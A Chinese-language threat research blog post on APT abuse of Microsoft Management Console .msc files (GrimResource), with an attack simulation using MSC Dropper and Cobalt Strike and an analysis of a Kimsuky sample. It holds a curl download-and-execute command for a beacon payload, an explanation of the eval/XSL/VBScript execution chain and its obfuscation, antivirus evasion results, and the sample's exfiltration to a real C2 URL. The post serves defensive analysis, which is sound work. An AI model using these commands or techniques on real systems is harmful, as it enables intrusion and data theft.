威胁探索 | APT在野利用MSC文件的初始访问和逃避方法

2024-07-03 337 0

概论

在目前全球关于APT攻击事件已经不在于少数,高级持续威胁(APT)已成为全球威胁实验室关注的焦点。APT组织以其高度隐蔽性和持续性攻击策略,对全球多个行业构成了严重威胁。近期,研究显示APT组织开始利用Microsoft Management Console(MMC)中的MSC文件作为初始访问和逃避检测的手段。本文旨在深入分析APT如何利用MSC文件进行攻击,并探讨其逃避检测的方法。

一、MSC文件-论点

1.MSC文件的利用机制

MSC文件,作为Windows系统中用于存储管理设置的文件,其本身具有执行脚本和命令的能力。APT组织通过精心构造的MSC文件,可以在用户不知情的情况下执行恶意代码。例如,攻击者可能在MSC文件中嵌入PowerShell脚本包括exe等恶意文件类型,当用户打开该文件时,即被激活后可能会通过C2地址释放文件文档,MSC文件内容代码也可能会有建立某些权限维持的恶意脚本,从而实现对系统的完全控制。

2.初始访问的实现

APT组织通常通过社会工程学手段诱导目标用户打开恶意MSC文件。这些文件可能伪装成系统更新或重要通知,通过电子邮件或即时消息传播。一旦用户执行了这些文件,攻击者便获得了对目标系统的初始访问权限。

3.逃避检测的技术

为了逃避安全检测,APT组织采用了多种技术。首先,他们利用加密和混淆技术隐藏恶意代码(宏样本)来规避 ActiveX,使得传统的防病毒软件难以识别。其次,通过定时任务或系统服务的方式,将恶意活动伪装成正常的系统行为。此外,APT还可能利用零日漏洞,进一步提高逃避检测的成功率。

二、Microsoft Management Console (MMC) 接触

Microsoft Management Console (MMC) 是 Microsoft Windows 操作系统的一个组件,它提供了一个界面,允许系统管理员和高级用户配置和监控系统。MMC 最初于 1998 年随 Windows NT 4.0 的 Option Pack 发布,后来与 Windows 2000 及其后续版本捆绑在一起。

MMC 的主要功能是通过称为“管理单元”的组件对象模型 (COM) 组件来托管系统管理工具。这些管理单元提供了对各种系统功能的访问,例如设备管理器、磁盘管理、事件查看器和本地用户和组。此外,MMC 还允许创建自定义工具,这些工具可以用于管理特定的系统任务。

有关MMC漏洞

在2019年6月11日CPR发布了一篇文章是关于:WebView导致XSS和XML解析错误而导致的XXE漏洞文章 【MICROSOFT 管理控制台 (MMC) 漏洞】洞主要集中在以下几个方面:

  1. 跨站脚本 (XSS) 漏洞:攻击者可以通过构造的 .msc 文件,在 MMC 中执行恶意 JavaScript 代码。场景利用:攻击者可以利用 MMC 中的 WebView 组件,将包含 XSS 攻击代码的网页链接嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

  2. XML 外部实体 (XXE) 漏洞:攻击者可以利用 MMC 中的 XML 解析器漏洞,通过包含 XXE 攻击代码的 XML 文件,访问受害者系统上的敏感信息。场景利用:攻击者可以构造一个包含 XXE 攻击代码的 XML 文件,并将其导入到 MMC 的事件查看器中,从而读取受害者系统上的文件内容,甚至执行远程代码。

  3. ActiveX 控件漏洞:攻击者可以利用 MMC 中的 ActiveX 控件漏洞,将恶意代码注入到受害者的系统中。场景利用:攻击者可以将包含恶意代码的 ActiveX 控件嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

三、攻击模拟

目前这种技术叫 GrimResource,而且相关的恶意文件还是0检出,根据当前的手段来实现一个攻击模拟!三天前有关生成负载已公开,MSC Dropper Tools,MSC Dropper 是一个 Python 脚本,旨在自动创建带有可自定义有效负载的 MSC(Microsoft 管理控制台)文件,以实现任意执行。

MSC文件配合Cobalt strike

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图

生成payload之后需要起一个服务和MSC Dropper 脚本配置进行生成一个带有马的msc文件!

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图1

┌──(kali㉿kali)-[~/Desktop/MSC_Dropper-main]
└─$ python3 msc_dropper.py template1.msc out.msc "cmd /c curl -O http://192.168.207.133:8000/beacon.exe && beacon.exe"
Successfully replaced placeholder in template1.msc and saved to out.msc.

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图2

运行后原本template1.msc 中的占位符会保存到 out.msc中,整个过程MSC文件成功落地!运行有效性!

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图3

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图4

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图5

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图6

通过上面整个有效性的过程验证完毕后,我使用wireshark捕获了大概的一个流程!,在我运行后使用了请求法向我挂载CS马的地址发送一个请求,随后弹出一个命令窗口,CS随之上线。(这个验证时出现一些小问题,如果运行了MSC文件命令窗口有闪退情况CS可能不会上线,这个暂时不知道是什么原因)

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图7

而且可以通过加载其它恶意脚本或者读取文件方式进行利用!我们可以看章节二的文件内容。

这里还有一个技巧,我使用MMS管理器直接打开,EXE会直接落地........!

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图8

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图9

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图10

自执行EXE

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图11

四、MSC文件本体内容(免杀)

生成的out.msc本体是借助py脚本中的template1.msc内容

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图12

  • res://apds.dll/redirect.html?target=部分指定了要加载的资源。javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)部分包含了恶意 JavaScript 代码,它使用 eval() 函数执行来自external.Document.ScopeNamespace.GetRoot().Name的代码。

  • 获取 MMC.exe 上下文中的external.Document.ScopeNamespace.GetRoot().Name属性的值,并执行该属性中包含的代码。 攻击者可以通过这种方式,在 MMC.exe 中执行任意代码,从而实现窃取信息、执行恶意代码等目的。

template1.msc载体加载部分通过py脚本将恶意文件托管地址进行载入

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图13

通过py脚本载入的恶意exe地址

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图14

  • xsl.loadXML(...)使用 loadXML()方法加载一个包含恶意 VBScript 代码的 XSL 样式表。

  • XML.transformNode(xsl)使用 transformNode()方法将 XML 文档根据 XSL 样式表进行转换。

  • XSL 样式表中的恶意 VBScript 代码被嵌入到转换后的 XML 文档中,并会被 MMC 执行。

  • 创建一个 WScript.Shell对象,用于执行系统命令。

  • 使用 curl命令从 192.168.207.133:8000 下载名为 beacon.exe的文件。

  • 执行下载的 beacon.exe文件。

混淆手法代码中使用了大量空格和换行符,尤其是 // Console Root 注释后面的代码段。
威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图15

1.virustotal本体检测

b98286e81add97cfd59d6dcfc47a9dd1184475ab44301e95c1404a722565f456

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图16

2.火绒本体检测

这个类似于本体加载EXE的模式流程!通常有些可能会检测本体、代码特征、通信地址等,也可能会报红!

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图17

因为我是直接在Cobalt strike生成的exe,直接点击运行out.msc文件释放exe,会杀掉我的exe,在本体安然无恙的情况下,可以起到很好的一个伪装,不一定就是要使用这种方式!

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图18

3.天擎本体检测

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图19

五、APT样本内容分析

目前有一个样本是没有公开的,这里暂时先不放出来,这里拿2010年APT样本来分析。2010年Kimsuky 组织使用该手段针对韩国和日本进行攻击,该组织伪装朝鲜人权公职人员,通过社交软件寻找目标,通过伪装特定重要文件来发送恶意的文件地址,2010年的样本几乎被各各实验室人员标记为风险文件。

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图20

不同的是MSC文件是可以通过修改XML内的文件来修改文件图标

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图21

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图22

这个APT样本是读取信息然后像C2地址回传读取的信息,

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图23

  1. 打开 Google 文档:

    • start explorer "https://docs.google.com/document/d/..."命令使用 explorer打开一个 Google 文档链接。

  2. 执行系统命令:

    • tasklist.exe > c:\users\public\temp命令将系统进程列表输出到 c:\users\public\temp文件中。

  3. 检查 curl.exe 的存在:

    • 使用 VBScript 代码检查 c:\windows\system32\curl.exe和 c:\Windows\sysnative\curl.exe文件是否存在。

    • 如果存在,则在结果中添加 "curl1 ok" 或 "curl2 ok"。

  4. 读取 temp 文件的内容:

    • 使用 VBScript 代码读取 c:\users\public\temp文件的内容,并将内容转换为小写字母。

    • 将读取的内容添加到结果中。

  5. 使用 curl 发送 POST 请求:

    • 使用 VBScript 代码创建一个 msxml2.xmlhttp对象,并使用它向两个 URL 发送 POST 请求:

      • http://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

      • https://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

    • POST 请求的数据包含了前面收集到的结果信息。

  6. 保存 VBScript 代码:

    • 将收集到的结果信息保存到 c:\users\public\res文件中。

    • 将 c:\users\public\res文件重命名为 c:\users\public\res.vbs

    • 使用 wscript /b c:\users\public\res.vbs命令在后台执行 res.vbs文件。

恶意行为分析:

  • 收集系统信息:该任务收集了系统进程列表,并检查了curl.exe的存在情况,这可能用于了解目标系统的配置和漏洞。

  • 发送数据:该任务向brandwizer.co.in的特定路径发送了收集到的系统信息,这可能用于窃取系统信息或进行其他恶意操作。

  • 执行 VBScript 代码:该任务使用 VBScript 代码,并执行了res.vbs文件,这可能包含其他恶意代码,例如下载恶意软件、窃取数据等。

其它方面与演示的没有什么不同,只是攻击方式载体不一样。

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法插图24

六、结束语

本文分析了一段 MMC 控制台配置文件的代码,揭示了其包含的潜在恶意行为,包括信息收集、发送数据和执行未知代码等。通过对代码的逐行分析,我们了解到恶意软件开发者可能会利用 MMC 文件作为载体来传播恶意软件或窃取敏感信息。

MMC 文件的结构和功能看似简单,但其背后的复杂性和潜在风险不容忽视,对于安全检出问题安全厂商也带来挑战。

七、IOCS

MD5
e86a24d9f3a42bbb8edc0ca1f8b3715c

SHA1
607e42fe2cb9f4be309b5b53cdef2693a704f37f

SHA256
433655572c0f319e576a451d069a29966f9d6b409207a649f286ab34d1c8cfeb


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论